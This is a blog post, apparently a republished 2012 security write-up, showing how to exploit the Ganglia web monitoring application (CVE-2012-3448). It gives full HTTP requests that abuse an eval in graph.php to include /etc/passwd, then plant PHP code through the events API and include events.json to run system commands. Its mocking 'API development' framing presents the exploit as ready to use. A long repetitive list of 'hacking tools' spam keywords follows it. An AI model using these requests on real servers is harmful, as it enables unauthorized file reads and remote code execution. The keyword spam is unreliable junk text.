http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448More info
- What Is Hacking Tools
- Hacking Tools Kit
- Wifi Hacker Tools For Windows
- Pentest Tools For Windows
- Hacking Tools Kit
- Hack Tools Mac
- Hack Tools Online
- Beginner Hacker Tools
- Pentest Tools Windows
- Best Hacking Tools 2020
- Hacking Tools Kit
- Hacking Tools Kit
- Pentest Tools Github
- Hacking Tools Software
- Hack Tool Apk No Root
- Hacking Tools For Windows
- Hacker Tools List
- Pentest Tools Alternative
- Hacks And Tools
- Hacking Tools For Mac
- What Is Hacking Tools
- Tools For Hacker
- Pentest Tools Find Subdomains
- Hack Apps
- Pentest Reporting Tools
- Pentest Tools Port Scanner
- Hacker Tools Free
- New Hacker Tools
- Pentest Tools Subdomain
- Hacker Tools List
- Pentest Tools Bluekeep
- Hacking Tools Kit
- Hacker Techniques Tools And Incident Handling
- Beginner Hacker Tools
- Hacker Tools Hardware
- Pentest Tools Kali Linux
- Hacking Tools
- Hacking Tools And Software
- Pentest Box Tools Download
- Hacking Tools Free Download
- Hacker Tools 2019
- Best Hacking Tools 2019
- Hacker Tools 2020
- Hacking Tools For Windows Free Download
- Hacker Tools For Windows
- Pentest Tools Open Source
- Physical Pentest Tools
- Hacking Tools Online
- Hacking Tools Online
- Hack Tools 2019
- What Are Hacking Tools
- Hacking Tools For Pc
- Hack Tools For Windows
- Hack Tools 2019
- Hack Rom Tools
- Hack Tools
- Pentest Box Tools Download
- Hacking App
- Hacking Tools
- Hack Tools For Ubuntu
- Hacking Tools Name
- Best Pentesting Tools 2018
- How To Install Pentest Tools In Ubuntu
- Hacker Search Tools
- Pentest Tools Apk
- Tools For Hacker
- Hack Tools For Windows
- Install Pentest Tools Ubuntu
- Hackers Toolbox
- Nsa Hack Tools
- Hacking Tools Github
- Hacker Security Tools
- Hacker
- Pentest Tools Linux
- Hack Tools
- Pentest Tools List
- Nsa Hack Tools Download
- Hack Tools For Games
- Hacking Tools For Games
- Hacking Tools Usb
- Nsa Hack Tools Download
- Pentest Tools Url Fuzzer
- Hacker Tools Free Download
- Hacker Hardware Tools
- Hack Tool Apk
- Ethical Hacker Tools
- Pentest Tools Free
- Hacking Tools 2019
- Hacker Tools Linux
- What Is Hacking Tools
- Hack Tool Apk No Root
- Android Hack Tools Github
- Hack Tools Download
- Hack Tools Mac
- Pentest Tools Subdomain
- Hacking Tools Pc
- Hacks And Tools
- Hacker Tools Github
- Hack Tools
- Pentest Tools Framework
- Hacking Tools Github
- Pentest Tools Review
- Pentest Tools Linux
- New Hacker Tools
- Pentest Tools Apk
- How To Make Hacking Tools
- Hacking Tools
- Pentest Tools Bluekeep
- Nsa Hack Tools
- Hacking Tools Windows 10
- Pentest Tools Subdomain
- Pentest Tools Linux
- Physical Pentest Tools
- Hack Tool Apk
- Hacker Techniques Tools And Incident Handling
- Best Pentesting Tools 2018
- Hacking Tools Software
- Hack Tools For Mac
- Pentest Tools For Windows
- Pentest Tools Review
- How To Make Hacking Tools
- Hacking Tools Download
- Easy Hack Tools
- Pentest Tools For Windows
- Pentest Tools Review
- Pentest Tools For Windows
- Hacker Tools Apk Download
- Hacking Tools For Pc
- Hacker Tools Hardware
- Hacking Tools And Software
- Hacking App
- Hacking Tools Windows
- Hacking Tools Hardware
- Hacking Tools 2019
- Hacking Tools Kit
- Pentest Tools Review
- Hacker Tools For Windows
- Pentest Tools Alternative
- Hacker Tools For Ios
- Pentest Tools List
- Best Hacking Tools 2020
- Hacker Hardware Tools
- Tools Used For Hacking
- Hacker Techniques Tools And Incident Handling
- Ethical Hacker Tools
- Hacking Apps
- Hacking Tools Usb
- Hacking Tools Kit
- Hacker Techniques Tools And Incident Handling
- Hacker Techniques Tools And Incident Handling
- Hack Tools 2019
- Hacker Tools Hardware
- Pentest Tools Find Subdomains
- Pentest Tools Framework
- Hack Tools Download
- Hacking Tools For Games
- Hack Website Online Tool
- Pentest Tools For Android
- Pentest Tools List
- New Hacker Tools
- Hack App
- Free Pentest Tools For Windows
- Hacking Tools Windows 10
- Best Hacking Tools 2019
- Pentest Tools Free
- Hacking Tools
- Bluetooth Hacking Tools Kali
- Hack Website Online Tool
- Hacker
- Pentest Tools
- Beginner Hacker Tools
- Github Hacking Tools
- World No 1 Hacker Software
- Hacker Tools Hardware
- Pentest Tools Open Source
- Hack Tools For Pc
- Pentest Box Tools Download
- Game Hacking
No comments:
Post a Comment